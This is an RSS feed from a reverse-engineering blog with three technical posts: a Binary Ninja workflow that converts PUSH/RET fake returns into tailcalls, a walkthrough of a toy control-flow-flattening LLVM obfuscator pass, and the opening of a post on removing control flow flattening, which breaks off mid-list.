<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[LODSB]]></title><description><![CDATA[LODSB]]></description><link>https://www.lodsb.com</link><generator>RSS for Node</generator><lastBuildDate>Mon, 14 Sep 2026 15:22:55 GMT</lastBuildDate><atom:link href="https://www.lodsb.com/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[Binary Ninja Workflows: Fixing branch obfuscation]]></title><description><![CDATA[If you've been reversing x86/x64 for a while then you will have definitely come across functions that end like this:

We know two things here:

The RET/RETN opcode in x86/x64 pops the stack and jumps to that address

The PUSH before the return here i...]]></description><link>https://www.lodsb.com/binary-ninja-workflows-fixing-branch-obfuscation</link><guid isPermaLink="true">https://www.lodsb.com/binary-ninja-workflows-fixing-branch-obfuscation</guid><category><![CDATA[reverse engineering]]></category><category><![CDATA[binary ninja]]></category><category><![CDATA[Binary lifting]]></category><category><![CDATA[deobfuscation]]></category><dc:creator><![CDATA[Sam Russell]]></dc:creator><pubDate>Mon, 30 Oct 2023 11:32:01 GMT</pubDate><content:encoded><![CDATA[<p>If you've been reversing x86/x64 for a while then you will have definitely come across functions that end like this:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1698142698577/c5bac9cd-87d6-48cf-b4fc-4c16c2719a5f.png" alt class="image--center mx-auto" /></p>
<p>We know two things here:</p>
<ul>
<li><p>The <code>RET</code>/<code>RETN</code> opcode in x86/x64 pops the stack and jumps to that address</p>
</li>
<li><p>The <code>PUSH</code> before the return here is actually the address we're about to jump to</p>
</li>
</ul>
<p>It's normal for a disassembler explore a function, traversing all branches, and terminate each when it gets to a <code>RET</code> opcode. For a decompiler/lifter it's also generally important to trust <code>RET</code> opcodes and turn them into <code>return</code> statements, and this is why it's using <code>PUSH/RET</code> combinations is a good obfuscation tool.</p>
<h2 id="heading-a-sample-app">A sample app</h2>
<p>We'll start with a simple app that we can load up into Binary Ninja, <a target="_blank" href="https://github.com/samrussell/pushret/blob/master/pushret.asm">source code is here</a>. As we can see, it picks up the initial function right through to the <code>RET</code> opcode and then stops, and it doesn't find the rest of the function:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1698222536586/60375cff-0053-420f-82a5-5c7383da3021.png" alt class="image--center mx-auto" /></p>
<p>This is quite confusing from the high level IL, as it looks like it's calling a syscall and returning the response. There's a var declared that isn't used either, this is kind of weird. The low level IL makes it a bit more clear what is happening here:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1698222615342/c448abee-d6ca-4ab2-909c-21385230231b.png" alt class="image--center mx-auto" /></p>
<p>I initially thought that the LLIL had actually interpreted the push/pop/jump correctly, but this is actually just the notation for printing a return statement. In practice it's not being clever here, it literally just has a return statement on line 6.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1698223829286/c55dfc21-0789-4c5c-aa2c-57801f7f42bb.png" alt class="image--center mx-auto" /></p>
<p>What we want to do is hook the LLIL and convert this <code>LowLevelILRet</code> instruction into something that the higher level ILs can handle properly. We'll look into 2 potential options, but first, let's take a look at how to build a basic workflow to hook into the analysis and make our own changes.</p>
<h2 id="heading-binary-ninja-workflows-for-hooking-llil">Binary Ninja workflows for hooking LLIL</h2>
<p>The way that we hook into the Binary Ninja lifters is by using their <a target="_blank" href="https://docs.binary.ninja/dev/workflows.html">Workflow API</a>. The BN team recommended that I do try this in C++ and definitely don't try this in Python. They are almost certainly correct, but I also wanted to see how the Python API works and it seems to be okay. You have been warned though.</p>
<h3 id="heading-here-be-dragons">Here be dragons</h3>
<p><img src="https://images-na.ssl-images-amazon.com/images/S/compressed.photo.goodreads.com/books/1387666736i/703102.jpg" alt="&quot;The Dragon Book&quot;: Compilers, Principles, Techniques and Tools" class="image--center mx-auto" /></p>
<p>Workflows are disabled by default, and the BN team describe it as an "Early Feature Preview", so expect things to change in future versions. I'm doing this in Binary Ninja version 3.5.4526 so if you're on a different version the there's a good chance these examples might break.</p>
<h3 id="heading-replacing-fake-returns-with-tailcalls">Replacing fake returns with tailcalls</h3>
<pre><code class="lang-python">pwf = Workflow().clone(<span class="hljs-string">"PopRetTailcallWorkflow"</span>)
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">interpret_popret</span>(<span class="hljs-params">analysis_context</span>):</span>
    <span class="hljs-comment"># iterate over llil basic blocks</span>
    updated = <span class="hljs-literal">False</span>
    <span class="hljs-keyword">for</span> block <span class="hljs-keyword">in</span> analysis_context.llil.basic_blocks:
        <span class="hljs-comment"># check if we have push;ret</span>
        <span class="hljs-keyword">if</span> len(block) &gt;= <span class="hljs-number">2</span> <span class="hljs-keyword">and</span> isinstance(block[<span class="hljs-number">-1</span>], LowLevelILRet) <span class="hljs-keyword">and</span> isinstance(block[<span class="hljs-number">-2</span>], LowLevelILPush):
            <span class="hljs-comment"># replace push with a tailcall</span>
            analysis_context.llil.replace_expr(block[<span class="hljs-number">-1</span>], analysis_context.llil.tailcall(block[<span class="hljs-number">-2</span>].operands[<span class="hljs-number">0</span>].expr_index))
            analysis_context.llil.replace_expr(block[<span class="hljs-number">-2</span>], analysis_context.llil.nop())
            updated = <span class="hljs-literal">True</span>
    <span class="hljs-comment"># we need to redo the ssa then</span>
    <span class="hljs-keyword">if</span> updated:
        analysis_context.llil.generate_ssa_form()

pwf.register_activity(Activity(<span class="hljs-string">"extension.popretworkflow.interpretpopret"</span>, action=interpret_popret))
pwf.insert(<span class="hljs-string">"core.function.generateMediumLevelIL"</span>, [<span class="hljs-string">"extension.popretworkflow.interpretpopret"</span>])
pwf.register()
</code></pre>
<p>Most of this is copied from the <a target="_blank" href="https://docs.binary.ninja/dev/workflows.html#python">sample python workflow</a> and takes inspiration from <a target="_blank" href="https://github.com/Vector35/binaryninja-api/blob/7763b7ab173151aa01b017e1902e1de716f2a1ee/examples/workflows/tailcall/tailcall.cpp">c++ tailcall example</a>. We'll go through step by step to see what it does:</p>
<pre><code class="lang-python">pwf = Workflow().clone(<span class="hljs-string">"PopRetTailcallWorkflow"</span>)
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">interpret_popret</span>(<span class="hljs-params">analysis_context</span>):</span>
    <span class="hljs-comment"># ...</span>

pwf.register_activity(Activity(<span class="hljs-string">"extension.popretworkflow.interpretpopret"</span>, action=interpret_popret))
pwf.insert(<span class="hljs-string">"core.function.generateMediumLevelIL"</span>, [<span class="hljs-string">"extension.popretworkflow.interpretpopret"</span>])
pwf.register()
</code></pre>
<p>Here we create a new <code>Workflow</code> object called <code>PopRetTailcallWorkflow</code>. We register an <code>Activity</code> called <code>extension.popretworkflow.interpretpopret</code> and point it at our new <code>interpret_popret</code> function. Once this is set up, we need to insert it into the current workflow. We can use <code>pwf.show_topology()</code> to see what the base workflow looks like:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1698388703202/d8db0929-2f80-4bcd-890f-9ad47b5cc6f9.png" alt class="image--center mx-auto" /></p>
<p>If we zoom in on the lower half we see this:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1698388736109/cb76eb17-03ed-4b5d-be55-371b5ec922b5.png" alt class="image--center mx-auto" /></p>
<p>I am guessing here but I'm assuming we want our workflow to happen before the MLIL gets generated, so I've set up my workflow to be inserted just before this:</p>
<pre><code class="lang-python">pwf.insert(<span class="hljs-string">"core.function.generateMediumLevelIL"</span>, [<span class="hljs-string">"extension.popretworkflow.interpretpopret"</span>])
</code></pre>
<p>Our function for the workflow is fairly straightfoward:</p>
<p>Iterate over very LLIL basic block</p>
<pre><code class="lang-python"><span class="hljs-keyword">for</span> block <span class="hljs-keyword">in</span> analysis_context.llil.basic_blocks:
</code></pre>
<p>Check if the final two instructions are a <code>PUSH</code> followed by a <code>RET</code>:</p>
<pre><code class="lang-python"><span class="hljs-keyword">if</span> len(block) &gt;= <span class="hljs-number">2</span> <span class="hljs-keyword">and</span> isinstance(block[<span class="hljs-number">-1</span>], LowLevelILRet) <span class="hljs-keyword">and</span> isinstance(block[<span class="hljs-number">-2</span>], LowLevelILPush):
</code></pre>
<p>We want to replace this with a LLIL tailcall, which means replacing one of the instructions with this and replacing the other with a <code>NOP</code> (I couldn't find a way to delete existing LLIL instructions)</p>
<pre><code class="lang-python">analysis_context.llil.replace_expr(block[<span class="hljs-number">-1</span>], analysis_context.llil.tailcall(block[<span class="hljs-number">-2</span>].operands[<span class="hljs-number">0</span>].expr_index))
analysis_context.llil.replace_expr(block[<span class="hljs-number">-2</span>], analysis_context.llil.nop())
updated = <span class="hljs-literal">True</span>
</code></pre>
<p>The nice thing with this is that we don't care if the <code>PUSH</code> is a constant or a register, we just take the expression index out of the <code>PUSH</code> instruction and put it in the tailcall and Binary Ninja does the rest for us.</p>
<h2 id="heading-testing-out-the-tailcall-replacement">Testing out the tailcall replacement</h2>
<p>You can load this as a plugin, but you can also just paste this in the python console and it will register the workflow:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1698663720631/88c096cf-26eb-4288-9ceb-86d9f930660e.png" alt class="image--center mx-auto" /></p>
<p>We also need to make sure workflows are turned on in settings (Edit-&gt;Preferences-&gt;Settings) and tick the checkbox for "Enable the analysis orchestration framework":</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1698663777338/901aeb00-bb65-48b3-a939-14a700a0fdac.png" alt class="image--center mx-auto" /></p>
<p>Then you need to reload your binary to kick off the framework, go to File-&gt;Open with Options, load your binary, and then choose your new workflow in the next dialog that pops up:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1698663858645/3baee700-f142-4ba7-bf40-678245a29cc6.png" alt class="image--center mx-auto" /></p>
<p>HLIL looks a bit different now:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1698663897984/ae2b1f13-9b28-4599-8742-fe3d5ce7292f.png" alt class="image--center mx-auto" /></p>
<p>It doesn't automatically create a code section for us (exercise for the reader?) but we can also just follow the jump and convert it to a function (sometimes pressing P doesn't work and you need to actually change the type with Y and then it will decompile it correctly):</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1698664054965/34310dec-27f6-4164-9557-852d69112368.png" alt class="image--center mx-auto" /></p>
<p>And if we look at the LLIL we can see where our new instructions took place:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1698664089449/ff5fc6f7-b57e-4ab1-97ef-6dd79ca980fa.png" alt class="image--center mx-auto" /></p>
<p>I have a second binary, <a target="_blank" href="https://github.com/samrussell/pushret/blob/master/stackops.asm">stackops</a>, that looks like this with the default workflow:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1698664186347/faaaa4d1-27de-4ed7-b65d-ee0a8a1b3c04.png" alt class="image--center mx-auto" /></p>
<p>But the HLIL comes out like this:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1698664205069/2b347b31-525b-4c27-8103-fbb98f64dd27.png" alt class="image--center mx-auto" /></p>
<p>If we load with our new workflow it correctly catches the indirect jump:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1698664239017/a5dc334f-6256-49e3-ac90-decb2ad69cfb.png" alt class="image--center mx-auto" /></p>
<p>As with the above example, we need to then convert these addresses to functions so we can analyse from there:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1698664295059/56e1c83d-09b4-4d2f-a68a-95e5f0edde2e.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-next-steps">Next steps</h2>
<p>Solving this simple <code>PUSH;RET</code> case is a start, but this can easily be foiled by inserting junk instructions before the final <code>RET</code> instruction. There are some other issues too:</p>
<ul>
<li><p>The indirect jump might not be a separate function, but just an obfuscation inside an existing function. We might want to make a <code>JMP</code> instead of a tailcall</p>
</li>
<li><p>If we're jumping to something that wasn't declared as code then we might want to mark it as code and kick off analysis there</p>
</li>
<li><p>There are multiple ways of manipulating the stack before making a <code>RET</code>, so full stack analysis could tell us if we're actually making a fake <code>RET</code> or a real one</p>
</li>
</ul>
<p>Let me know if you take this concept and extend it, this just scratches the surface and there are lots of options for taking it further.</p>
<p>Happy hacking everyone!</p>
]]></content:encoded></item><item><title><![CDATA[Control Flow Flattening: How to build your own]]></title><description><![CDATA[I was really really excited when Open Obfuscator was launched. I've enjoyed the challenges that application obfuscation have given us over the years, and it was fun to find a well documented and open source obfuscator that we could play with and try ...]]></description><link>https://www.lodsb.com/control-flow-flattening-how-to-build-your-own</link><guid isPermaLink="true">https://www.lodsb.com/control-flow-flattening-how-to-build-your-own</guid><category><![CDATA[reverse engineering]]></category><category><![CDATA[obfuscation]]></category><category><![CDATA[llm]]></category><category><![CDATA[binary ninja]]></category><dc:creator><![CDATA[Sam Russell]]></dc:creator><pubDate>Fri, 18 Aug 2023 13:59:29 GMT</pubDate><content:encoded><![CDATA[<p>I was really really excited when <a target="_blank" href="https://obfuscator.re/">Open Obfuscator</a> was launched. I've enjoyed the challenges that application obfuscation have given us over the years, and it was fun to find a well documented and open source obfuscator that we could play with and try to break, while also finding ways to improve our toolkits and extend them to other protection tools.</p>
<p>I recently did some work on <a target="_blank" href="https://www.lodsb.com/removing-control-flow-flattening-with-binary-ninja">removing control flattening with Binary Ninja</a>, using a basic handcrafted sample, and the next step was to build my own obfuscator and then build the scripts to reverse it, and so on, and so on. Here's the next step in that journey.</p>
<h2 id="heading-step-1-making-an-llvm-pass">Step 1: Making an LLVM pass</h2>
<p>Most of the credit goes to <a target="_blank" href="https://obfuscator.re/">Open Obfuscator</a> here. You need to create a shared library that exports this function:</p>
<pre><code class="lang-cpp"><span class="hljs-keyword">extern</span> <span class="hljs-string">"C"</span> __attribute__((visibility(<span class="hljs-string">"default"</span>))) LLVM_ATTRIBUTE_WEAK ::<span class="hljs-function">llvm::PassPluginLibraryInfo
<span class="hljs-title">llvmGetPassPluginInfo</span><span class="hljs-params">()</span> </span>{
  <span class="hljs-keyword">return</span> getPassPluginInfo();
}
</code></pre>
<p>This <code>getPassPluginInfo()</code> function is going to look something like this:</p>
<pre><code class="lang-cpp"><span class="hljs-function">PassPluginLibraryInfo <span class="hljs-title">getPassPluginInfo</span><span class="hljs-params">()</span> </span>{
  <span class="hljs-function"><span class="hljs-keyword">static</span> <span class="hljs-built_in">std</span>::atomic&lt;<span class="hljs-keyword">bool</span>&gt; <span class="hljs-title">ONCE_FLAG</span><span class="hljs-params">(<span class="hljs-literal">false</span>)</span></span>;
  <span class="hljs-keyword">return</span> {LLVM_PLUGIN_API_VERSION, <span class="hljs-string">"obfs"</span>, <span class="hljs-string">"0.0.1"</span>,
          [](PassBuilder &amp;PB) {

            <span class="hljs-keyword">try</span> {
              PB.registerPipelineEarlySimplificationEPCallback(
                [&amp;] (ModulePassManager &amp;MPM, OptimizationLevel opt) {
                  <span class="hljs-keyword">if</span> (ONCE_FLAG) {
                    <span class="hljs-keyword">return</span> <span class="hljs-literal">true</span>;
                  }
                MPM.addPass(obfs::ControlFlowFlattening());
                  ONCE_FLAG = <span class="hljs-literal">true</span>;
                  <span class="hljs-keyword">return</span> <span class="hljs-literal">true</span>;
                }
              );
            } <span class="hljs-keyword">catch</span> (<span class="hljs-keyword">const</span> <span class="hljs-built_in">std</span>::exception&amp; e) {
                outs() &lt;&lt; <span class="hljs-string">"Error: "</span> &lt;&lt; e.what() &lt;&lt; <span class="hljs-string">"\n"</span>;
            }
          }};
};
</code></pre>
<p>There are variations of this, this one comes from <a target="_blank" href="https://obfuscator.re/">Open Obfuscator</a> and it does everything we need it to. There are variations floating around on StackOverflow saying you can use a FunctionPassManager but that doesn't work without enabling optimisations in clang (<code>-O1</code> etc) whereas this does. If there's one thing I've learned about LLVM it's not to ask too many questions.</p>
<p>The function we jump to is going to accept an <code>llvm::Module</code> object, and we just need to iterate over this to get our <code>llvm::Function</code> objects, and then we're done with the boilerplate:</p>
<pre><code class="lang-cpp"><span class="hljs-class"><span class="hljs-keyword">struct</span> <span class="hljs-title">ControlFlowFlattening</span> :</span> <span class="hljs-keyword">public</span> PassInfoMixin&lt;ControlFlowFlattening&gt; {
    <span class="hljs-function">PreservedAnalyses <span class="hljs-title">run</span><span class="hljs-params">(Module &amp;M, ModuleAnalysisManager &amp;MAM)</span> </span>{                     
        <span class="hljs-keyword">for</span> (Function&amp; F : M) {
            flattenFunction(F);
        }
        <span class="hljs-keyword">return</span> PreservedAnalyses::none();
    }
};
</code></pre>
<h2 id="heading-step-2-working-with-llvm-functions">Step 2: Working with LLVM Functions</h2>
<p>The LLVM documentation is very, very extensive, and it's all open source, so you can browse the <a target="_blank" href="https://llvm.org/doxygen/classllvm_1_1Function.html">Function documentation</a> to your heart's content. The cool thing here is we can just iterate over it and it will give us <code>llvm::BasicBlock</code> objects. A BasicBlock is a set of instructions that will run together, and it ends with something like a branch or a return. BasicBlocks can branch to other BasicBlocks. What we want to do is find where the BasicBlocks connect to each other, and add some logic so that the branch always gets followed, but it takes a path that isn't obvious to the decompiler. Take this code for example:</p>
<pre><code class="lang-cpp"><span class="hljs-function"><span class="hljs-keyword">void</span> <span class="hljs-title">simple_branch</span><span class="hljs-params">(<span class="hljs-keyword">int</span> value)</span></span>{
  <span class="hljs-built_in">printf</span>(<span class="hljs-string">"Before branch\n"</span>);

  <span class="hljs-keyword">if</span>(value &gt; <span class="hljs-number">5</span>) {
    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"value &gt; 5\n"</span>);
  }
  <span class="hljs-keyword">else</span>{
    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"value &lt;= 5\n"</span>);
  }

  <span class="hljs-built_in">printf</span>(<span class="hljs-string">"After branch\n"</span>);
}
</code></pre>
<p>We can compile this and print out the LLVM and see it's split into 4 BasicBlocks:</p>
<pre><code class="lang-plaintext">New basic block %1
 Instruction:   %2 = alloca i32, align 4
 Instruction:   store i32 %0, i32* %2, align 4
 Instruction:   %3 = call i32 (i8*, ...) @printf(i8* noundef getelementptr inbounds ([15 x i8], [15 x i8]* @.str.6, i64 0, i64 0))
 Instruction:   %4 = load i32, i32* %2, align 4
 Instruction:   %5 = icmp sgt i32 %4, 5
 Instruction:   br i1 %5, label %6, label %8
New basic block %6
 Instruction:   %7 = call i32 (i8*, ...) @printf(i8* noundef getelementptr inbounds ([11 x i8], [11 x i8]* @.str.7, i64 0, i64 0))
 Instruction:   br label %10
New basic block %8
 Instruction:   %9 = call i32 (i8*, ...) @printf(i8* noundef getelementptr inbounds ([12 x i8], [12 x i8]* @.str.8, i64 0, i64 0))
 Instruction:   br label %10
New basic block %10
 Instruction:   %11 = call i32 (i8*, ...) @printf(i8* noundef getelementptr inbounds ([14 x i8], [14 x i8]* @.str.9, i64 0, i64 0))
 Instruction:   ret void
</code></pre>
<p>Or decompile it in Binary Ninja:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1692284627511/dfb77078-b555-4541-a72d-f4879fc5690e.png" alt class="image--center mx-auto" /></p>
<p>Note that Binary Ninja adds an extra block; this isn't important right now so imagine we just have 4. If the code just did some calculations and some calls and returned it would only need a single BasicBlock, but once we add an <code>if</code> statement we need to branch... and when we branch we create new BasicBlocks to hold this code. At the end of the <code>if</code> and <code>else</code> statements they jump back to the same place, so this becomes our fourth and final BasicBlock for this function.</p>
<h2 id="heading-step-3-building-a-dispatch-block">Step 3: Building a dispatch block</h2>
<p>We want to route all of our logic through a single block, so that instead of a nice tree that a reverse engineer can follow, we end up with a mess of lines everywhere and make it less obvious what the shape of the function looks like. This can be anywhere we want, I've decided to put mine right at the start of the function. We'll make the first block jump to our dispatcher and then jump to the rest of the blocks directly from there.</p>
<h3 id="heading-what-if-the-first-block-branches-to-multiple-places">What if the first block branches to multiple places?</h3>
<p>We can steal the branch off the end of the first block and put it in its own block after the dispatcher. We can implement this ourselves (create new block, add branch to this, copy across branch into the bottom of the new block), but LLVM actually gives us a helper function which makes this super easy.</p>
<pre><code class="lang-cpp">BasicBlock &amp;entryBlockTail = F.getEntryBlock();
BasicBlock* pNewEntryBlock = entryBlockTail.splitBasicBlockBefore(entryBlockTail.getTerminator(), <span class="hljs-string">""</span>);
</code></pre>
<p>Once we've split off our stub, we know the first block has an unconditional branch at the end, and we can insert our block in-between - we make save the Successor from the terminating branch, then make this branch point at our dispatcher block, and then add a branch instruction to the dispatcher, and we're all plugged in.</p>
<pre><code class="lang-cpp"><span class="hljs-comment">// Get the EntryBlock and the one after it - the Successor</span>
BasicBlock &amp;EntryBlock = F.getEntryBlock();
<span class="hljs-keyword">auto</span>* br = dyn_cast&lt;BranchInst&gt;(EntryBlock.getTerminator());
BasicBlock *Successor = br-&gt;getSuccessor(<span class="hljs-number">0</span>);

<span class="hljs-comment">// we create DispatchBlock and plug it in at both ends</span>
<span class="hljs-comment">// DispatchBlock -&gt; Successor        </span>
BasicBlock* DispatchBlock = BasicBlock::Create(F.getContext(), <span class="hljs-string">"dispatch_block"</span>, &amp;F);
<span class="hljs-function">IRBuilder&lt;&gt; <span class="hljs-title">DispatchBuilder</span><span class="hljs-params">(DispatchBlock, DispatchBlock-&gt;begin())</span></span>;
DispatchBuilder.CreateBr(Successor);

<span class="hljs-comment">// EntryBlock -&gt; DispatchBlock</span>
br-&gt;setSuccessor(<span class="hljs-number">0</span>, DispatchBlock);
DispatchBlock-&gt;moveAfter(&amp;EntryBlock);
</code></pre>
<h2 id="heading-step-4-routing-blocks-via-the-dispatcher">Step 4: Routing blocks via the dispatcher</h2>
<p>There are two parts to this:</p>
<ol>
<li><p>Setting the dispatch variable and jumping to the dispatcher</p>
</li>
<li><p>Checking the dispatch variable and deciding from there where to go</p>
</li>
</ol>
<h3 id="heading-setting-the-dispatch-variable">Setting the dispatch variable</h3>
<p>We're often looking at conditional branches so we'll loop over each successor and do the same:</p>
<ol>
<li><p>Create a new detour block to jump to</p>
</li>
<li><p>Make the detour block set the dispatch variable</p>
</li>
<li><p>Jump to the dispatch block</p>
</li>
</ol>
<pre><code class="lang-cpp"><span class="hljs-keyword">for</span> (<span class="hljs-keyword">unsigned</span> i = <span class="hljs-number">0</span>; i &lt; br-&gt;getNumSuccessors(); ++i) {
    <span class="hljs-comment">// we start with block -&gt; successor</span>
    BasicBlock *Successor = br-&gt;getSuccessor(i);

    <span class="hljs-comment">// create detour block</span>
    <span class="hljs-comment">// DispatchVar = X</span>
    <span class="hljs-comment">// jmp DispatchBlock</span>
    BasicBlock *DetourBlock = BasicBlock::Create(F.getContext(), <span class="hljs-string">""</span>, &amp;F);
    <span class="hljs-function">IRBuilder&lt;&gt; <span class="hljs-title">Builder</span><span class="hljs-params">(DetourBlock)</span></span>;
    Builder.CreateStore(ConstantInt::get(Builder.getInt32Ty(), ++dispatchVal), DispatchVar);
    Builder.CreateBr(DispatchBlock);

    <span class="hljs-comment">// insert block after our current one</span>
    <span class="hljs-comment">// block -&gt; DetourBlock</span>
    br-&gt;setSuccessor(i, DetourBlock);
    DetourBlock-&gt;moveAfter(block);
}
</code></pre>
<h3 id="heading-adding-the-branch-in-the-dispatch-block">Adding the branch in the dispatch block</h3>
<p>This is a little tricky because each branch is going to look like this:</p>
<ol>
<li><p>Load dispatch var</p>
</li>
<li><p>Compare dispatch var (this is a <code>cmp</code> or similar on x86)</p>
</li>
<li><p>Branch based off the result of the comparison</p>
</li>
</ol>
<p>You may note that these are separate instructions, so we can't just insert before the last one. I did try this by mistake and the results were hilarious but also left me with a useless app. In hindsight we could just add another block in the chain, but since everything is already jumping to the dispatch block we can also use another cool LLVM helper function: <code>SplitBlockAndInsertIfThen()</code> . This means we end up inserting each comparison at the start of the dispatch block, but it means the code required is as simple as this:</p>
<pre><code class="lang-cpp"><span class="hljs-comment">// if (DispatchVar == dispatchVal) goto successor;</span>
Instruction* FirstInst = DispatchBlock-&gt;getFirstNonPHI();
<span class="hljs-function">IRBuilder&lt;&gt; <span class="hljs-title">DispatchBuilder</span><span class="hljs-params">(FirstInst)</span></span>;
LoadInst* loadSwitchVar = DispatchBuilder.CreateLoad(DispatchBuilder.getInt32Ty(), DispatchVar, <span class="hljs-string">"dispatch_var"</span>);
<span class="hljs-keyword">auto</span> *Cond = DispatchBuilder.CreateICmpEQ(ConstantInt::get(DispatchBuilder.getInt32Ty(), dispatchVal), loadSwitchVar);
SplitBlockAndInsertIfThen(Cond, FirstInst, <span class="hljs-literal">false</span>, <span class="hljs-literal">nullptr</span>, (DomTreeUpdater *)<span class="hljs-literal">nullptr</span>, <span class="hljs-literal">nullptr</span>, Successor);
</code></pre>
<p>We can probably optimise this and start the dispatch block with the dispatch variable load and always branch one instruction after the start, but this also works (and there's nothing to stop us doing an optimisation pass after this).</p>
<h2 id="heading-step-5-admire-the-results">Step 5: Admire the results</h2>
<p>Remember our simple code from earlier?</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1692366334165/6cd6d2ab-c5bb-458f-8048-03feefdff5d0.png" alt class="image--center mx-auto" /></p>
<p>If we compile it with our new LLVM pass it looks like this:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1692366358818/9629d10e-dc9e-45ca-860c-41f4f7741163.png" alt class="image--center mx-auto" /></p>
<p>This isn't terrible, but let's take a slightly bigger function:</p>
<pre><code class="lang-cpp"><span class="hljs-function"><span class="hljs-keyword">void</span> <span class="hljs-title">obfuscate_me</span><span class="hljs-params">(<span class="hljs-keyword">int</span> number)</span></span>{
    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"Checking how big the number is\n"</span>);
    <span class="hljs-keyword">int</span> counter = <span class="hljs-number">1</span>;
    <span class="hljs-keyword">if</span>(number &lt; <span class="hljs-number">5</span>) {
        <span class="hljs-built_in">printf</span>(<span class="hljs-string">"number &lt; 5\n"</span>);
        counter++;
    }
    <span class="hljs-keyword">else</span> {
        <span class="hljs-built_in">printf</span>(<span class="hljs-string">"number &gt;= 5\n"</span>);
        counter+= <span class="hljs-number">2</span>;
    }
    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"Some divisors\n"</span>);
    <span class="hljs-keyword">if</span>(number % <span class="hljs-number">3</span>) {
        <span class="hljs-built_in">printf</span>(<span class="hljs-string">"number %% 3\n"</span>);
        counter++;
    }
    <span class="hljs-keyword">if</span>(number % <span class="hljs-number">5</span>) {
        <span class="hljs-built_in">printf</span>(<span class="hljs-string">"number %% 5\n"</span>);
        counter++;
    }
}
</code></pre>
<p>This would normally compile into this:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1692366446737/ea4d6e2b-2ba0-4553-9545-8f207c29e3b5.png" alt class="image--center mx-auto" /></p>
<p>But when we flatten it we get this:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1692366475153/f2d7ab87-d257-43d1-8ebd-09aeefd1e09d.png" alt class="image--center mx-auto" /></p>
<p>And as you can imagine, a bigger function would be even more confusing once we flatten it. We can further muddy the waters by adding MBA fake conditional branches with fake unreachable code and add that into the mix, and the function steadily becomes more difficult to work with when reversing.</p>
<h2 id="heading-conclusion">Conclusion</h2>
<p>I hope you all enjoyed this, this is a toy proof of concept project and it implements a bare minimum of cases (it will break on block terminators that aren't simple branches, for example), but you could also apply this to an app right now and it would add a thin layer of security on top. This isn't an LLVM tutorial so I'm not going to go into detail there, but feel free to use this as a base if you always wanted to play with LLVM and didn't know where to start.</p>
<p>Code is here: <a target="_blank" href="https://github.com/samrussell/obfus">https://github.com/samrussell/obfus</a></p>
<p>Thanks again to Romain Thomas as I've leaned heavily on O-MVLL for the original idea and for tips when I've gotten stuck with the code.</p>
<p>Next step is obviously to extend my script from last time and see what it takes to turn this back into something readable, stay tuned or feel free to give it a try yourself.</p>
]]></content:encoded></item><item><title><![CDATA[Removing Control Flow Flattening with Binary Ninja]]></title><description><![CDATA[If you've been reversing for a while then eventually you'll come up against a control flow graph that looks like this:

This is a simple toy app hosted at https://github.com/samrussell/cff_playground if you feel like following along at home. The plug...]]></description><link>https://www.lodsb.com/removing-control-flow-flattening-with-binary-ninja</link><guid isPermaLink="true">https://www.lodsb.com/removing-control-flow-flattening-with-binary-ninja</guid><category><![CDATA[reverse engineering]]></category><category><![CDATA[binary ninja]]></category><category><![CDATA[obfuscation]]></category><category><![CDATA[deobfuscation]]></category><category><![CDATA[control flow flattening]]></category><dc:creator><![CDATA[Sam Russell]]></dc:creator><pubDate>Thu, 03 Aug 2023 13:35:41 GMT</pubDate><content:encoded><![CDATA[<p>If you've been reversing for a while then eventually you'll come up against a control flow graph that looks like this:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1691066199602/2cc7797d-66a5-4b32-841a-a4ffc29f14ca.png" alt class="image--center mx-auto" /></p>
<p>This is a simple toy app hosted at <a target="_blank" href="https://github.com/samrussell/cff_playground">https://github.com/samrussell/cff_playground</a> if you feel like following along at home. The plugin isn't complete yet but I'll include all the snippets, you can copypaste them as you go through and it'll magically convert this tangled mess into a much more obvious app.</p>
<h2 id="heading-theory-and-practice">Theory (and practice?)</h2>
<p>If you're new to handling control flow flattening then definitely take a look at <a target="_blank" href="https://synthesis.to/2021/08/10/obfuscation_detection.html">Tim Blazytko's article</a> and <a target="_blank" href="https://github.com/mrphrazer/obfuscation_detection">obfuscation detection plugin</a> to get your head around the theory. The short version is we're looking for two things:</p>
<ul>
<li><p>Dominators are blocks that are <em>always</em> hit before another block. If A is always hit before B, then A dominates B. A block always dominates itself by the way.</p>
</li>
<li><p>Loops are when we go from block A and end up back at the start of block A</p>
</li>
<li><p>Incoming edges are the links from blocks that execute before our block - if A can jump to B then we say B has an incoming edge from A</p>
</li>
